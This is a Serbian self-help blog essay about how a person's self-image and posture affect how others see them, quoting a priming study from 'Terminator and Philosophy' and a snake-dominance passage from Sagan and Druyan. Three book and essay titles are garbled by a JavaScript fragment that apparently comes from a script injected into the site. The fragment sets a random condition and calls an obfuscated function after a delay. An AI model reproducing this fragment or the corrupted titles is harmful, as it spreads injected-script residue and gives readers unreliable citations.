Kakvu sliku sebe projektujete?

Nedavno sam, u dve naizgled potpuno različite knjige, naišao na sjajne primere uticaja načina razmišljanja na ponašanje i sam život koje želim da podelim sa vama. Ukoliko, nakon što ih pročitate, razmislite o njima, usvojite njihove implikacije i, shodno tome, postanete svesni određenih vidova sopstvenog ponašanja i promenite ih, biću zaista srećan.

U knjizi „Terminator andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Philosophy“ (izdanje John Wiley & Sons, 2009), odličnom zborniku radova koji se bavi analizom mašinske inteligencije i njenog odnosa prema ljudskoj inteligenciji, kao i mogućim posledicama razvoja ovog odnosa u budućnosti, Josh Weisberg, u eseju „It Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands to Reason: Skynet andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Self-Preservation“ na strani 48 navodi veoma intrigantne rezultate jedne psihološke studije:

„U seriji opita, psiholog John Bargh ustanovio je širok opseg nesvesnih stereotipa podstaknutih suptilnim i iznenađujućim stimulansima. Na primer, ispitanici od kojih je traženo da upamte listu reči i pojmova povezanih sa starošću („izboran“, „star“, „starački dom“) zaboravljali su više traženih reči nego kontrolna grupa ispitanika. Ono što još više uznemiruje je da su oni bili skloniji da napuste prostorije u kojima se eksperiment odvijao hodajući polako i pogureno, nalik starim osobama, kao da je samo prisustvo reči-okidača sa liste uzrokovalo staračko ponašanje. Slični efekti su zapaženi kada su subjekti bili izloženi rasističkim rečima ili slikama. Subjekti su listom poricali kako su podlegli uticaju ključnih reči – šta, ja rasista? Interesantno, efekat je uzrokovao agresiju usmerenu ka spolja, tako da su drugi viđeni kao agresivni umesto samih subjekata.“

Druga knjiga je fantastično delo Carla Segana i njegove supruge Ann Druyan, „Seni zaboravljenih predaka“ (srpsko izdanje Laguna 2005, prevod Borislav Stanojević). Knjiga se bavi promišljanjima ljudskog ponašanja, prateći njegova izvorišta i nalazeći ih u pradavnoj prošlosti i ukazuje kako veliki deo ponašanja za koje smatramo da je isključivo ljudsko ima svoje tragove u vremenima kada čovek još nije predstavljao ni deo horizonta događaja. Odlomak koji sledi nalazi se na strani 215 i odnosi se na zmije ali, za sve one od vas koji smatraju kako se to ponašanje ne može primeniti i na ljude: da li je baš tako? Pre no što i pomislite da olako odbacite svaku analogiju, pokušajte da pronađete veze – i svakako ćete uspeti u tome.

„Dve jamičarke (zmije iz roda Crotalidae. (prim. B.S.)) klize jedna prema drugoj u tišini, palacaju račvastim jezicima. Polako se uvijaju u mlitavi zagrljaj. Uzdižu se sve više i više od tla. Sjaktavi namotaji nadolaze i povlače se. Kao neki makroskopski eho njihove podvučene mikroskopske stvarnosti, one obrazuju dvostruku spiralu.

Posmatrači su svojevremeno zaključili da je ovo reptilski ples udvaranja. Ali nisu se setili da uhvate zmije i utvrde njihov pol. Pošto je to učinjeno, ispostavlja se da su obe zmije mužjaci. Pa šta one rade? Budući da su homoseksualni zagrljaji poznati životinjskom carstvu, to i dalje može biti ples udvaranja – osim što se obično završava tako što jedna zmija obori drugu na tlo, a da seksualni čin nije izveden. Umesto toga, taj hipnotički zmijski ritual izgleda da predstavlja nadmetanje, kao obaranje ruke, izvedeno prema strogim pravilima. Nijedan borac nikada ne biva ujeden ili čak povređen, bar koliko mi znamo. Kada se dvoboj završi, onaj ko je prisiljen da prihvati poraz otpuzi.

Je li ovo takmičenje vezano za pristup ženkama? Ponekad nema ni traga ženki koja hrabri svog šampiona, ili je pristupačna kao nagrada za pobednika. U najmanju ruku, ovo je borba za nadmoć, oko toga ko je glavni zmijac – što ne isključuje mogućnost da je susret i homoseksualan: muško nadmetanje za dominaciju izaženo preko homoseksualne metafore raširena je tema među životinjama.“

Sada dolazi ono osnovno: „Gubitak bitke očigledno je udarac samopouzdanju zmije. Poraženi deluje zlovoljno i obeshrabeno, mnogo dana kasnije nesposoban je da se brani čak i od suparnika slabića. Evo mehanizma kojim se borba za dominaciju pretvara u uspeh u parenju: ženka zmije, kada sretne usamljenog mužjaka, oponaša mužjačko ponašanje i uzdiže se kao da se priprema za sportsku borbu. Ako se, još razočaran od poslednjeg poraza, on ne uzdigne na nivo prilike sa zadovoljavajućom energijom, ona će potražiti partnera na drugom mestu. Gotovo bez izuzetka, ženke uspevaju da se pare sa pobednicima.“

Kada ste poslednji put doživeli poraz? Koliko ozbiljno ste ga shvatili? Koliko je on uticao na vaše samopoštovanje? Poljuljao vašu sigurnost? Koliko ćete dopustiti da takvo stanje traje? Još važnije od toga – kakvu sliku o sebi ćete usvojiti nakon takvog poraza?

Načinimo mentalni skok: doživeli ste razočaranje na poslu, ili u emotivnom životu. Izuzetno ste zabrinuti zbog toga, preispitujući se i razmišljajući o sebi kao o osobi nedostojnoj uspeha, nesposobnoj za napredak, izgubivši volju za bilo šta. Iznenada se ukazuje prilika, ali vi ste blokirani, potpuno obeshrabreni, i verujete kako je niste dostojni. Možda čak i ne prepoznajete priliku koja se ukazuje. Da li vam je situacija poznata?

Da li ste svesni da vaš način razmišljanja, ukoliko na njega ne obratite punu pažnju, ima ogroman uticaj na način na koji vas ljudi oko vas doživljavaju? Ukoliko, kao što smo videli, samo lista reči povezanih sa starošću podsvesno deluje na fiziologiju organizma, na koji način mislite da će na nju delovati duboke misli o sopstvenoj nižoj vrednosti, nesposobnosti i nedostojnosti? Sada prestanite sa čitanjem, i ostanite dvadesetak sekundi razmišljajući o razočaranju, premoru, nedostatku volje. Kako se to očitovalo na stav vašeg tela i vašu energiju? Opuštena ramena, pognuta glava, energija spuštena na niži nivo – tačno? A sada promenite ponašanje (ne misli, nego samo ponašanje): uspravite se, podignite glavu, stisnite pesnicu. Ponašajte se energično. Zamahnite pesnicom, dodatno se uspravljajući. Šta se dešava? Turobne misli nestaju, a fiziologija organizma snažno utiče na energiju uma. Brojna istraživanja neposredno ukazuju na ovu povezanost – kao što misli utiču na organizam, postoji i moćna povratna sprega.

Ne dozvolite da neuspeh učini da se prepustite letargiji i zanemarite njegov uticaj na čitav splet procesa u vašem organizmu. Uporno nastojte da, uprkos naizgled nesavladivom porivu da se pokunjite i slomite, ostanete uspravni, čvrsti i snažni. Ne možete očekivati da vas svet vidi kao takve ako se sami tako ne vidite. Za početak, trenirajte sebe da zadržavate stameni stav ma kako se osećali u sebi. Vremenom, i brže nego što to pretpostavljate, taj stav postaće istinski bedem o koji će se talasi razočaranja razbijati, ali mu neće nauditi.

Budite svesni da je sve što ćete dobiti u životu na ovaj ili onaj način povezano sa drugim ljudima. Sve što ćete ikada postići doći će od strane drugih ljudi. Budite svesni i da ste, bili toga svesni ili ne, apsolutno sve vreme izloženi proceni od strane drugih ljudi, kao i da nisu oni krivi ukoliko vas ne doživljavaju onako kako biste vi to želeli. Vi projektujete sebe, vi ste sve vreme sopstvena (anti)reklama.

Dakle, kako ćete misliti o sebi? Kako o svojim porazima? Kako ćete ODLUČITI da se nosite sa njima? Kakve prilike ćete PRIVLAČITI u svoj život?

Sve je samo na vama, i ne traćite ni trenutak svog života pokušavajući da se uljuljkujete mislima da može biti ikako drugačije.